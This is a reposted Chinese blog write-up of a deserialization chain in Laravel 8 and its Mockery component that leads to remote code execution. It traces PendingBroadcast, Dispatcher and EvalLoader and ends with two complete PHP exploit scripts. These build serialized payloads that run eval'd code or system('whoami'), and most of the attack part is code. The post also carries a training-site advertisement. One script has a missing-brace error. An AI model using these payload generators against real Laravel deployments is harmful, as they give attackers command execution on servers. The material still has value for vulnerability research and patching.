飞道的博客

Laravel 8 反序列化分析

267人阅读  评论(0)

你是否正在收集各类网安网安知识学习,合天网安实验室为你总结了1300+网安技能任你学,点击获取免费靶场>>

forward

laravel的版本已经到了8;这里分析一个laravel8的反序列化漏洞,但是让我感到意外的是,这个漏洞竟然在低版本的laravel上依然可以存在,从根本来说这个漏洞是laravel的mockery组件漏洞,没想到一直没修;

text

首先还是老样子,熟悉laravel的pop链的师傅肯定比较熟悉,入口点还是PendingBroadcast.php中的析构函数;


   
  1. public function __destruct()
  2. {
  3.     $this->events->dispatch($this->event);
  4. }

这里很明显可以控制任意类下的dispatch函数;这里还是选择Dispatcher.php进行续链;


   
  1. public function dispatch($command)
  2. {
  3.      return $this->queueResolver && $this->commandShouldBeQueued($command)
  4.                     ? $this->dispatchToQueue($command)
  5.                     : $this->dispatchNow($command);
  6. }

这里简单的看下源码,感兴趣的师傅可以拿着laravel5的源码来进行对比,这里只不过是写成了三元运算的形式,本质上还是一样的,我们控queueResolver变量和commandShouldBeQueued函数,使其返回为真,这样就可进入dispatchToQueue函数;这里审计下类不难发现queueResolver是我们可控的变量,然而commandShouldBeQueued函数我们可以追溯一下;


   
  1. protected function commandShouldBeQueued($command)
  2. {
  3.      return $command instanceof ShouldQueue;
  4. }

这里不难发现,是需要我们的command是继承ShouldQueue接口的类就可;所以全局搜索;选择BroadcastEvent.php的类;然后便可返回true,然后进入dispatchToQueue函数;回溯一下dispatchToQueue函数;


   
  1. public function dispatchToQueue($command)
  2.     {
  3.         $connection = $command->connection ?? null;
  4.         $queue = call_user_func($this->queueResolver, $connection);

可以发现这里有个危险函数call_user_func;可以直接实现任意类下的任意方法;这里就可直接跳转到我们想要执行的方法下;全局搜索一下eval方法;发现存在;


   
  1. class EvalLoader implements Loader
  2. {
  3.     public function load(MockDefinition $definition)
  4.     {
  5.          if (class_exists($definition->getClassName(),  false)) {
  6.              return;
  7.         }
  8.         eval( "?>" . $definition->getCode());
  9.     }
  10. }

call_user_func函数在第一个参数为数组的时候,第一个参数就是我们选择的类,第二个参数是类下的方法;所以这里直接去到EvalLoader类,去执行load方法从而调用到eval函数;这里发现存在参数,而且参数必须是MockDefinition类的实例;也即是意味着我们connection需要为MockDefinition类的实例;

继续审计发现,必须if为false才会触发eval方法;所以这里我们需要直接追溯到MockDefinition类中;


   
  1. class MockDefinition
  2. {
  3.     protected $config;
  4.     protected $code;
  5.     public function __construct(MockConfiguration $config, $code)
  6.     {
  7.          if (!$config->getName()) {
  8.             throw  new \InvalidArgumentException( "MockConfiguration must contain a name");
  9.         }
  10.         $this->config = $config;
  11.         $this->code = $code;
  12.     }
  13.     public function getConfig()
  14.     {
  15.          return $this->config;
  16.     }
  17.     public function getClassName()
  18.     {
  19.          return $this->config->getName();
  20.     }
  21.     public function getCode()
  22.     {
  23.          return $this->code;
  24.     }
  25. }

看下getClassName函数;这里的config是可控的,所以我们直接找到一个存在getName方法并且可控该方法的类;全局搜索下找到MockConfiguration.php可以实现;


   
  1.     protected $name;
  2.     public function getName()
  3.     {
  4.          return $this->name;
  5.     }

因为最后是要经过class_exit函数的判断的,所以我们可以直接控制其返回一个不存在的类,就会造成false从而进入eval方法;继续回到eval方法;


   
  1. class EvalLoader implements Loader
  2. {
  3.     public function load(MockDefinition $definition)
  4.     {
  5.          if (class_exists($definition->getClassName(),  false)) {
  6.              return;
  7.         }
  8.         eval( "?>" . $definition->getCode());
  9.     }
  10. }

这里还有个getCode方法,我们通过上面的类也可审计getCode方法;code在MockDefinition类中也是可控的,所以我们可以随意的控制其内容,那么我们就可命令执行;放出我exp:


   
  1. <?php
  2. namespace Illuminate\Broadcasting{
  3. use Illuminate\Contracts\Events\Dispatcher;
  4. class PendingBroadcast
  5. {
  6.  protected $event;
  7.  protected $events;
  8.     public function __construct($events, $event)
  9.     {
  10.         $this->event = $event;
  11.         $this->events = $events;
  12.     }
  13. }
  14. }
  15. namespace Illuminate\Bus{
  16. class Dispatcher
  17. {
  18.  protected $queueResolver;
  19.     public function __construct($queueResolver)
  20.     {
  21.         $this->queueResolver = $queueResolver;
  22.     }
  23. }
  24. }
  25. namespace Illuminate\Broadcasting{
  26. class BroadcastEvent
  27. {
  28.  public $connection;
  29.  public function __construct($connection)
  30.     {
  31.         $this->connection = $connection;
  32.     }
  33.   }
  34. }
  35. namespace Mockery\Loader{
  36. use Mockery\Generator\MockDefinition;
  37. class EvalLoader
  38. {
  39.      public function load(MockDefinition $definition)
  40.     {}
  41. }
  42. }
  43. namespace Mockery\Generator{
  44. class MockConfiguration
  45. protected $name;
  46.  public function __construct($name){
  47.  $this->name = $name;
  48. }
  49. }
  50. }
  51. namespace Mockery\Generator{
  52. class MockDefinition
  53. {
  54.  protected $config;
  55.  protected $code;
  56.  public function __construct($config,$code)
  57.     {
  58.      $this->config = $config;
  59.      $this->code = $code;
  60.     }
  61. }
  62. }
  63. namespace{
  64.  $e =  new Mockery\Generator\MockConfiguration( 's1mple');
  65.  $d =  new Mockery\Loader\EvalLoader();
  66.  $f =  new Mockery\Generator\MockDefinition($e, '<?php phpinfo();?>');
  67.  $c =  new Illuminate\Broadcasting\BroadcastEvent($f);
  68.  $a =  new Illuminate\Bus\Dispatcher(array($d, "load"));
  69.  $b =  new Illuminate\Broadcasting\PendingBroadcast($a,$c);
  70.  echo urlencode(serialize($b));
  71. }

这里为了节省时间,我最后用abcdef直接代替了,造成rce;

细心的师傅想必也发现了;在最开始的call_user_func处,也是可以进行命令执行的;


   
  1. public function dispatchToQueue($command)
  2.     {
  3.         $connection = $command->connection ?? null;
  4.         $queue = call_user_func($this->queueResolver, $connection);

这里可以直接控制进行命令执行;这个很简单,就直接放出我exp吧;


   
  1. <?php
  2. namespace Illuminate\Broadcasting{
  3. use Illuminate\Contracts\Events\Dispatcher;
  4. class PendingBroadcast
  5. {
  6.  protected $event;
  7.  protected $events;
  8.     public function __construct($events, $event)
  9.     {
  10.         $this->event = $event;
  11.         $this->events = $events;
  12.     }
  13. }
  14. }
  15. namespace Illuminate\Bus{
  16. class Dispatcher
  17. {
  18.  protected $queueResolver;
  19.     public function __construct($queueResolver)
  20.     {
  21.         $this->queueResolver = $queueResolver;
  22.     }
  23. }
  24. }
  25. namespace Illuminate\Broadcasting{
  26. class BroadcastEvent
  27. {
  28.  public $connection;
  29.  public function __construct($connection)
  30.     {
  31.         $this->connection = $connection;
  32.     }
  33.   }
  34. }
  35. namespace{
  36.  $c =  new Illuminate\Broadcasting\BroadcastEvent( 'whoami');
  37.  $a =  new Illuminate\Bus\Dispatcher( 'system');
  38.  $b =  new Illuminate\Broadcasting\PendingBroadcast($a,$c);
  39.  echo urlencode(serialize($b));
  40. }

https://www.hetianlab.com/expc.do?ec=ECID49a7-7e01-41dd-9edd-c051743c427f&pk_campaign=csdn-wemedia#stu 

Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

 


转载:https://blog.csdn.net/qq_38154820/article/details/114610513
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场